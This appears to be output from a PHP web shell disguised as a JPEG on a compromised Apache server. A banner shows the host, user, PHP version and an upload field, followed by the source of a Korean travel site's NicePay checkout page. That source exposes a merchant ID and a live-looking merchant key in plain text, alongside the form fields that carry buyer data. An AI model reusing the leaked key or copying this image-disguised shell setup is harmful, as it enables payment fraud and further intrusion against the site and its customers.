ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/ty_test/ |
Upload File : |
<?php /* * 나이스페이 결제 * * 작성자 : * 작성일 : 2022.3 */ function _e($w){ return $w; } // 키만 별도 세팅 $cf['pg']['nice']['tktravel1m'] = "mW1r6ggFYVl+cCv9gngBmAWNjfCnotcUJx8RNOhVYfdGm0EF8Qtwc3ZpDq3aCRAPvHNwr3VgzAsOL7M5jR0KAw=="; $cf['pg']['nice']['merchantID'] = "tktravel1m";// 상점아이디 국내용 //테스트용 //$cf['pg']['nice']['tktravel1m'] = "23M3fkmdmWbJeSrC9vNZT4i8c0da+RxE/4rWXXuueBsQOEe6s6EUo3XOJyz9naJm3gtCc7OKgpKyPKByExIRjw=="; //$cf['pg']['nice']['merchantID'] = "nictes999m";// 상점아이디 국내용 $cf['pg']['nice']['merchantKey'] = $cf['pg']['nice']['tktravel1m']; $cf['pg']['nice']['currency'] = "USD"; $cf['pg']['nice']['lang'] = "KO"; /****************************************************** * <결제요청 파라미터> ******************************************************/ $merchantKey = $cf['pg']['nice']['merchantKey']; // 상점키 $MID = $cf['pg']['nice']['merchantID']; // 상점아이디 $price = $total_pay_real; // 결제상품금액 $buyerID = $TO_MB['mb_id']; // 구매자ID $buyerName = $TO_MB['mb_nm']; // 구매자명 $buyerTel = $TO_MB['mb_phone']; // 구매자연락처 $buyerEmail = $TO_MB['mb_email']; // 구매자메일주소 $moid = $res_no; // 상품주문번호 $returnURL = $cf['url_ssl']."/ty_test/tour_order_niceResult.html"; // 결과페이지, 모바일 전용 $CurrencyCode = "USD"; // 결제화폐단위(KRW,USD,CNY) $CurrencyCode = "KRW"; // 결제화폐단위(KRW,USD,CNY) $NpLang = $cf['pg']['nice']['lang']; // 결제창언어(EN,CN,KO) //테스트 임시로 결제할 가격 $price = 100; //1달러 $total_pay_real = 100; //1달러 /****************************************************** * <해쉬암호화> (수정하지 마세요) * SHA-256 해쉬암호화는 거래 위변조를 막기위한 방법입니다. ******************************************************/ $ediDate = date("YmdHis"); $hashString = bin2hex(hash('sha256', $ediDate.$MID.$price.$merchantKey, true)); ?> <script src="/js/library/jquery-3.1.1.min.js"></script> <!-- [PC Only] Nicepay 결제모듈 Script --> <script src="https://web.nicepay.co.kr/v3/webstd/js/nicepay-3.0.js" type="text/javascript"></script> <style> #payTypeCreditCardLabel,#payTypeDespositWithoutBankBookLabel,#payTypeKakaoLabel,#payTypeNaverLabel,#payTypeWXPayLabel,#payTypeAlipayLabel{float:left;width:96px !important;position:relative;top:-1px;margin-right:10px;text-align:center;padding:10px 0;cursor:pointer} #payTypeCreditCard,#payTypeDespositWithoutBankBook,#payTypeKakao,#payTypeNaver,#payTypeWXPay,#payTypeAlipay{display:none} #payTypeCreditCardLabel,#payTypeDespositWithoutBankBookLabel,#payTypeWXPayLabel,#payTypeAlipayLabel{border:1px solid #d6d6d6;color:#999999;margin-top:3px;} #payTypeKakaoLabel,#payTypeNaverLabel{border:1px solid #d6d6d6;margin-top:3px;color:#d6d6d6} #payTypeKakaoLabel img,#payTypeNaverLabel img{width:50px;filter:grayscale(100%);opacity:50%} #payTypeKakaoLabel img{width:60px} #payTypeKakaoLabel{padding:8px 0} #payTypeCreditCard:checked + label,#payTypeDespositWithoutBankBook:checked + label,#payTypeAlipay:checked + label,#payTypeWXPay:checked + label{color:#353535;border:1px solid #ff5722} #payTypeKakao:checked + label img, #payTypeNaver:checked + label img{;filter:grayscale(0%);opacity:100%} #payTypeKakao:checked + label, #payTypeNaver:checked + label{border:1px solid #ff5722} #payTypeWXPayLabel img{filter:grayscale(100%);opacity:50%;} #payTypeAlipayLabel img{filter:grayscale(100%);opacity:50%;} #payTypeWXPay:checked + label img{filter:grayscale(0%);opacity:100%} #payTypeAlipay:checked + label img{filter:grayscale(0%);opacity:100%} </style> <body> <!-- container --> <div id="container"> <div id="contBody"> <!-- contents --> <div id="contents"> <div class="contents_wrap"> <!-- 내용 --> <div class="reserve_wrap" > <h5><?=_e("상품정보");?></h5> <table border="0" cellspacing="0" cellpadding="0" width="100%" summary="예약번호, 상푸타입, 상품명, 출발일, 상품금액 및 결제금액을 확인하실 수 있습니다." class="table_t mb30"> <caption>결제상품정보</caption> <colgroup> <col width="150px" /> <col width="130px" /> <col width="*" /> <col width="100px" /> <col width="150px" /> </colgroup> <thead> <tr> <th scope="col"><?=_e("예약번호");?></th> <th scope="col"><?=_e("상품타입");?></th> <th scope="col"><?=_e("상품명");?></th> <th scope="col"><?=_e("날짜");?></th> <th scope="col"><?=_e("상품금액");?></th> </tr> </thead> <tbody> <? for($i=0 ; $i<count($data) ;$i++) { $row = $data[$i]; ?> <tr> <td><?=$row['res_no']?></td><!-- 예약번호 --> <td><?=$row['tab_nm']?></td><!-- 상품타입 --> <td class="name"><?=(($row['good_nm']) ? $row['real_good_nm'].' / '.$row['good_nm'] : $TO_MB['mb_nm'])?></td><!-- 상품명 --> <td><?=$row['d_start']?></td><!-- 출발일(입실일) --> <td class="price"><?=_eunit($row['pre_money_fr'])?></td><!-- 결제금액 --> </tr> <? } ?> </tbody> </table> <? if( $cf['curunit'] != 'KRW') { ?> <h5><?=_e("할인 정보");?></h5> <table border="0" cellspacing="0" cellpadding="0" width="100%" class="table_t mb30"> <tr> <th style="width:*;"><?=_e("상품명");?></th> <th style="width:140px;"><?=_e("무통장입금액");?></th> <th style="width:35px;"></th> <th style="width:170px;"><?=_e("카드결재시");?></th> <th style="width:35px;"></th> <th style="width:140px;"><?=_e("카드결재금액");?></th> </tr> </table> <? } // curunit != KRW ?> <!-- POINT TABLE --> <table border="0" cellspacing="0" cellpadding="0" width="100%" class="table_t mb30" style="display:none;"> <tr style="display:<?=($set_point['use_yn']!="Y" or !$TO_MB['mb_id'])?"none":""?>;"> <th><?=_e('사용가능 포인트');?></th> <td colspan="2"><span class="total_txt" id="item_disp_respoint"><?=number_format($point_tot['cur_point'])?></span>point</td> <th><?=_e('적립예정 포인트');?></th> <td colspan="2"><span class="total_txt" id="item_disp_willpoint">0</span>point</td> </tr> <tr style="display:<?=($set_point['use_yn']!="Y" or !$TO_MB['mb_id'])?"none":""?>;"> <th><?=_e('포인트 적립조건');?></th> <td colspan="5" style="text-align:left;"> <div>- <?=_e('상품 이용한 다음날을 기준으로 적립합니다.');?></div> <?php if($set_point['point_use_give']=="Y") {?> <div>-<?=_e('사용하신 포인트도 결제하신 금액에 포함하여 적립해드립니다.');?></div> <?php }?> </td> </tr> <tr> <th><?=_e('결제금액합계');?></th> <td colspan="5"> <span class="total_price"> <?=$cf['pay_currency']?><span id="item_good_mny2"><?=$total_pay_final?></span> </span> <span class="s_txt_abs"> <?if($cf['lang']!='ko' && $cf['lang']!='ag'){ echo "<br> * " . _e("상품 결재는 USD로 자동 환산되어 결재가 됩니다."); }?> </span> </td> </tr> </tbody> </table> <!-- 주문정보 입력 form : order_info --> <form name="order_info" id="order_info" method="post" action="tour_order_niceResult.html" accept-charset="euc-kr"> <input type="hidden" name="SqlType" id="SqlType" value=""> <!-- 상점파라메터 --> <input type="hidden" name="tour_res_no" value="<?=$tour_res_no?>"><!-- 예약번호 --> <input type="hidden" name="good_point" value="0"><!-- 적립금사용금액 --> <input type="hidden" name="good_point_str" value=""><!-- 적립금사용금액내역 --> <!-- Nicepay 파라메터 --> <input type="hidden" name="PayMethod" value="CARD"><!-- 결제수단 --> <input type="hidden" name="Amt" value="<?=$total_pay_real?>"><!--결제금액--> <input type="hidden" name="MID" value="<?=$MID?>"><!--상점아이디--> <input type="hidden" name="Moid" value="<?=$moid?>"><!--주문번호--> <input type="hidden" name="MallUserID" value="<?=$buyerID?>"> <input type="hidden" name="BuyerEmail" value="<?=$buyerEmail?>"> <input type="hidden" name="BuyerTel" value="<?=(($res_cust_hp) ? $res_cust_hp : $buyerTel)?>"> <input type="hidden" name="ReturnURL" value="<?=$returnURL?>"><!--인증후URL(MobileOnly)--> <input type="hidden" name="GoodsName" value="<?=$good_name?>"><!-- 상품이름 --> <input type="hidden" name="BuyerName" value="<?=$buyerName?>"> <!-- Nicepay DirectShow --> <input type="hidden" name="DirectShowOpt" value=""/> <!-- 직접 호출 옵션 --> <input type="hidden" name="NicepayReserved" value=""/> <!-- 나이스페이 복합 옵션 --> <input type="hidden" name="DirectEasyPay" value=""/> <!-- 네이버페이 간편결제 --> <input type="hidden" name="EasyPayMethod" value=""/> <!-- 네이버페이 간편결제 --> <input type="hidden" name="ReqReserved" value=""><!--상점예비--> <input type="hidden" name="LogoImage" value=""><!--로고(94x25)--> <input type="hidden" name="CurrencyCode" value="<?=$CurrencyCode?>"><!--결제화폐단위--> <input type="hidden" name="NpLang" value="<?=$NpLang?>"><!--언어--> <input type="hidden" name="CharSet" value="utf-8"><!--인코딩--> <input type="hidden" name="CardQuota" value="00"><!--할부개월--> <input type="hidden" name="SelectQuota" value=""><!--할부--> <input type="hidden" name="SelectCardCode" value=""><!--할부카드사--> <!-- ETC --> <input type="hidden" name="EdiDate" value="<?=$ediDate?>"/><!-- 전문 생성일시 --> <input type="hidden" name="SignData" value="<?=$hashString?>"/><!-- 해쉬값 --> <input type="hidden" name="RetryURL" value="<?=$retryURL?>"/> <h5><?=_e('예약자 정보');?></h5> <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="예약자명, 이메일 및 연락처를 입력합니다." class="table_l mb30"> <caption>기본정보</caption> <colgroup> <col width="150px" /> <col width="330px" /> <col width="150px" /> <col width="*" /> </colgroup> <thead> <tr> <th scope="row"><label for="mb_nm"><?=_e('예약자명');?></label></th> <td <?=($cf['lang']=='ko') ? 'colspan="3"' : ''?>> <input type="hidden" name="buyr_name" value="<?=(($res_cust_nm) ? $res_cust_nm : $TO_MB['mb_nm'])?>" /><?=(($res_cust_nm) ? $res_cust_nm : $TO_MB['mb_nm'])?> </td> <?if($cf['lang']!='ko') {?> <th scope="row"><label for="mb_nat_cd"><?=_e('국적');?></label></th> <td><input type="hidden" name="buyr_nation" value="<?=$res_cust_nat_cd?>"/><?=$res_cust_nat_cd?></td> </tr> <? } ?> </thead> <tbody> <tr> <th scope="row"><label for="mb_tel"><?=_e('휴대폰');?></label></th> <td><input type="hidden" name="buyr_tel1" value="<?=$res_cust_hp?>" /><?=$res_cust_hp?></td> <th scope="row"><label for="mb_email">Email</label></th> <td><input type="hidden" name="buyr_mail" value="<?=$TO_MB['mb_email']?>" /><?=$TO_MB['mb_email']?></td> </tr> <? if($res_sns_id) { ?> <tr> <th scope="row"><label for="mb_sns"><?if($cf['lang']=='ko') {echo "카카오톡 ID";} else {echo "SNS ID";}?></label></th> <td colspan="3"><input type="hidden" name="buyr_sns" value="<?=$res_sns_id?>" /><?=$res_sns_id?></td> </tr> <? } ?> </tbody> </table> <h5><?=_e('결제 정보');?></h5> <?php if( $cf['curunit'] != 'KRW') { ?> <!-- <p style="color:red">--><?php //=_e('WeChat Pay가 작동하지 않은 경우 ALIPAY로 진행 부탁드립니다.')?><!--</p>--> <?php } ?> <br> <table width="100%" border="0" cellspacing="0" cellpadding="0" summary="결제방법을 선택합니다." class="table_l mb30"> <caption>결제정보</caption> <colgroup> <col width="150px" /> <col width="*" /> </colgroup> <thead> <tr> <th scope="row"><label for="inst_cd"><?=_e('결제방법');?></label></th> <td class="payment_method"> <? if( $cf['curunit'] == 'KRW') { ?> <input type="radio" name="inst_cd" id="payTypeCreditCard" value="INST002" checked> <label id="payTypeCreditCardLabel" for="payTypeCreditCard">신용카드</label> <input type="radio" name="inst_cd" id="payTypeDespositWithoutBankBook" value="INST001"> <label id="payTypeDespositWithoutBankBookLabel" for="payTypeDespositWithoutBankBook">무통장입금</label> <input type="radio" name="inst_cd" value="INST002" id="payTypeKakao" pay="kakao"> <label id="payTypeKakaoLabel" for="payTypeKakao"><img src="/FileData/logo/kakaoPay.png?s=1" onclick="$('#payTypeKakao').click();" alt="카카오페이"/></label> <input type="radio" name="inst_cd" value="INST002" id="payTypeNaver" pay="naver"> <label id="payTypeNaverLabel" for="payTypeNaver"><img src="/FileData/logo/naverPay.png" onclick="$('#payTypeNaver').click();" alt="네이버페이" width="82"/></label> <? } else { $isShowCash = false; ?> <input style="display:none" type="radio" name="inst_cd" id="payTypeWXPay" value="INST010" checked> <label id="payTypeWXPayLabel" for="payTypeWXPay"><img src="/FileData/logo/wechatpay.png?s=1" onclick="$('#payTypeWXPay').click();" alt="WeChatPay"/></label> <input style="display:none" type="radio" name="inst_cd" id="payTypeAlipay" value="INST011"> <label id="payTypeAlipayLabel" for="payTypeAlipay"><img src="/FileData/logo/alipay.png?s=1" onclick="$('#payTypeAlipay').click();" alt="Alipay"/></label> <input type="radio" name="inst_cd" id="payTypeCreditCard" value="INST002"> <label id="payTypeCreditCardLabel" for="payTypeCreditCard">Credit Card</label> <input type="radio" name="inst_cd" id="payTypeDespositWithoutBankBook" value="INST001"> <label id="payTypeDespositWithoutBankBookLabel" for="payTypeDespositWithoutBankBook">CASH</label> <? } ?> </td> </tr> </thead> <tbody> <?php $isShowCash = false; ?> <tr id="bank_input" style="display:<?=((isset($isShowCash) && $isShowCash == true) ? 'table-row' : 'none')?>;"> <th scope="row"><label for="cust_memo"><?=_e('은행입금정보');?></label></th> <td colspan="3"> <select name="inbk_cd" id="inbk_cd" style="width:440px;margin-bottom:10px"> <?for( $i=0 ; $i<count($data_inbk) ; $i++){ $row_inbk = $data_inbk[$i]; if($cf['lang'] != 'ko'){ if(strpos($row_inbk['cd_nm'],'Hana Bank') !== false){ }else{ continue; } } ?> <option value="<?=$row_inbk['code']?>"><?=$row_inbk['cd_nm']?> <?=$row_inbk['cd_memo']?>(<?=_e('예금주');?>: <?=$row_inbk['cd_memo2']?>)</option> <?}?> </select><br> ( <?=_e('입금예정일');?> : <input type="text" name="inbk_dt" id="inbk_dt" class="calendar_input tkw04 mr20" value="<?=date("Y-m-d")?>" readonly onClick="AjaxCal(this,event,{'sdate':'<?=date("Y-m-d")?>'});"> <?=_e('입금자명');?> : <input type="text" name="inbk_innm" id="inbk_innm" class="input_text tkw04" value="<?=$TO_MB['mb_nm']?>" > ) </td> </tr> </tbody> </table> </form> <ul class="btn_wrap" id="display_pay_button" style="display:block;"> <li class="btn_pay"><a href="javascript:;" onclick="jsf__pay()" ><?=_e('결제하기');?></a></li> <li class="btn_cancel"><a href="/"><?=_e('취소');?></a></li> </ul> </div> </div> <!-- // 내용 --> </div> <!-- /contents_wrap --> </div> <!-- /contGen --> </div> <!-- /contents --> </div> <!-- /contBody --> </div> <!-- /container --> <script type="text/javascript"> /* * 포인트사용기능(2017-01-20) */ var cur_point = 1000; var tot_willpoint=0; var total_pay = parseInt(<?=$old_total_pay?>); var total_pay_fr = parseInt(<?=$total_pay_fr?>); var total_pay_final = parseInt(<?=$total_pay_final?>); var tot_use_point=0; // point var good_mny2 = 0; // good_nmy var good_mny2_won = 0; // good_nmy원화 var good_mny_pay = 0; // 결제 처리 __formCheckAllow > jsp__pay function jsf__pay() { var RetVal = false; var mpay = ""; var inst_cd = $("input:radio[name='inst_cd']:checked").val(); var pay = $("input:radio[name='inst_cd']:checked").attr('pay'); var form = document.order_info; if(inst_cd == 'INST001') { mpay = "bankin"; } else if(inst_cd == 'INST002') { mpay = "card"; } else if(inst_cd == 'INST010') { mpay = "wxpay"; // wechat pay } else if(inst_cd == 'INST011') { mpay = "alipay"; // alipay } else { alert("<?=_e('결제수단이 바르지 않습니다.');?>"); return; } console.log('mpay is ' + mpay); if(mpay=="card") { // 카드결제 // 간편결제 (카카오페이, 네이버페이) form.elements['DirectShowOpt'].value = ''; form.elements['DirectEasyPay'].value = ''; form.elements['ReturnURL'].value = '<?=$returnURL?>'; form.elements['MID'].value = '<?=$MID?>'; $("form#order_info").attr("action","tour_order_niceResult.html"); try { // PC 결제창 진입 goPay(form); } catch (e) { /* IE 에서 결제 정상종료시 throw로 스크립트 종료 */ } } else if(mpay=="bankin") { // 무통장 입금 if(!$("#inbk_dt").val()) { alert("<?=_e('입금예정일자를 입력하세요.');?>"); $("#inbk_dt").focus(); return; } if(!$("#inbk_innm").val()) { alert("<?=_e('입금자명을 입력하세요.');?>"); $("#inbk_innm").focus(); return; } if(!confirm("<?=_e('입금예약 하시겠습니까?');?>\n<?=_e('계좌입금하신후 연락 부탁 드립니다.');?>")) return; objCenter("loading","on");//중앙에 보이기. setTimeout("ajax_loader_to('tour_order_proc.html','ajax_proc')",100); $("#SqlType").val("bank_in"); $("form#order_info").attr("action","tour_order_proc.html"); $("form#order_info").submit(); return; } } //[PC Only] 결제 최종 요청시 실행됩니다. <<'nicepaySubmit()' 이름 수정 불가능>> function nicepaySubmit(){ document.order_info.submit(); } //[PC Only] 결제창 종료 함수 <<'nicepayClose()' 이름 수정 불가능>> function nicepayClose(){ alert("결제가 취소 되었습니다"); } function goodCheckPoint() { tot_use_point=0; // 사용포인트 tot_willpoint=0; // 적립예정포인트 $(".item_use_point2").each(function(){ var pre_money = parseInt($(this).attr("pre_money")); var point_yn = $(this).attr("point_yn"); var point_buy1 = parseInt($(this).attr("point_buy1")); var point_buy2 = parseInt($(this).attr("point_buy2")); var point_use_give = '<?=$set_point['point_use_give']?>'; var payprice=0, msg='', flag=true; var pre_money_fr = parseInt($(this).attr("pre_money_fr")); var use_point = parseInt($(this).val().replace(/,/g,'')); if( isNaN(use_point)) { alert('포인트결제금액이 유효하지않습니다.'); $(this).val(0); use_point=0; } var willpoint = 0; // 적립예정포인트 payprice = pre_money_fr - use_point; // 결제금액 $(this).parent().parent().parent().find(".item_disp_payprice").html(payprice.toString()); // 포인트 적립 유무 if(point_yn=="Y" && point_buy1>0 && point_buy2>0) { if(point_use_give=="Y") { // 적립금 사용시 추가 적립 willpoint = Math.round((pre_money/point_buy1)*point_buy2); }else{ willpoint = Math.round((payprice/point_buy1)*point_buy2); } }else{ willpoint = 0; } tot_use_point += use_point; tot_willpoint += willpoint; }); if (tot_use_point > cur_point) { alert('포인트결제금액이 유효하지 않습니다.'); $(".item_use_point2").val('0'); goodCheckPoint(); return; } var rest_point = cur_point - tot_use_point; // 잔여포인트 good_mny2_won = total_pay - tot_use_point; //외화는 적립금 사용안함 good_mny2 = total_pay_final - tot_use_point; good_mny_pay = good_mny2; $("#item_disp_respoint").html((rest_point.toString())); $("#item_disp_willpoint").html((tot_willpoint.toString())); $("#item_good_mny2").html((good_mny2.toString())); } <?php /*주의 : 로직변경시에 (모바일)사용자 js(mypage/tour_order.html)&common.class.php의 checkPointMember도 같이변경 해 줘야함 */?> var point_use_min = parseInt('<?=$set_point['point_use_min']?>'); var point_use_order_min = parseInt('<?=$set_point['point_use_order_min']?>'); // 결제가능 최소 구매금액 var point_use_max_type = '<?=$set_point['point_use_max_type']?>'; var point_use_max_won = parseInt('<?=$set_point['point_use_max_won']?>'); var point_use_max_per = parseInt('<?=$set_point['point_use_max_per']?>'); function goodPointSetChk() { var flag = true; var msg = ''; if(tot_use_point==0) return; if(tot_use_point > cur_point && flag==true) { msg = cur_point+' 이상 사용하실수 없습니다.'; flag = false; } if(total_pay < tot_use_point && flag==true) { msg = '결제금액을 초과하였습니다.'; flag = false; } // 결제가능 최소 구매금액 체크 if(point_use_order_min > total_pay && flag==true) { msg = '결제금액 '+(point_use_order_min.toString())+'원 이상 부터 적립금 사용하실수 있습니다'; flag = false; } //if(tot_use_point < point_use_min && point_use_min>0 && flag==true) { // msg = '적립금은 '+number_format(point_use_min.toString())+'원 이상부터 사용가능합니다.'; // flag = false; //} // 포인트중 xx원 이하만 사용가능 if(point_use_max_won < tot_use_point && point_use_max_type=='1' && point_use_max_won>0 && flag==true) { msg = '적립금중 '+(point_use_max_won.toString())+'원 이하만 사용가능합니다.'; flag = false; } // 결제금액의 xx%이하 결제 if(point_use_max_per>0 && point_use_max_type=='2' && flag==true) { var total_dpay = Math.round(total_pay*(point_use_max_per/100)); // 퍼센트 환산 if( total_dpay < point ) { msg = '결제가능 최대 적립금은 '+(total_dpay.toString())+'입니다.'; } } if(flag==false) { alert(msg); $(".item_use_point2").val(0); goodCheckPoint(); } } // 폼체크시에 체크f function goodPointSetChk2() { var flag = true; var msg = ''; if(tot_use_point==0) return true; if(tot_use_point < point_use_min && point_use_min>0 ) { msg = '적립금은 '+(point_use_min.toString())+'원 이상부터 사용가능합니다.'; flag = false; } if(flag==false) { alert(msg); $(".item_use_point2").val(0); goodCheckPoint(); return false; } } $(document).ready(function(){ $("input[name=inst_cd]").change(function() { var radioValue = $(this).val(); if (radioValue == "INST001") { $("#bank_input").show(); } else { $("#bank_input").hide(); } }); $(".item_use_point2").on("blur",function(){ goodCheckPoint(); goodPointSetChk(); }); goodCheckPoint(); }); </script>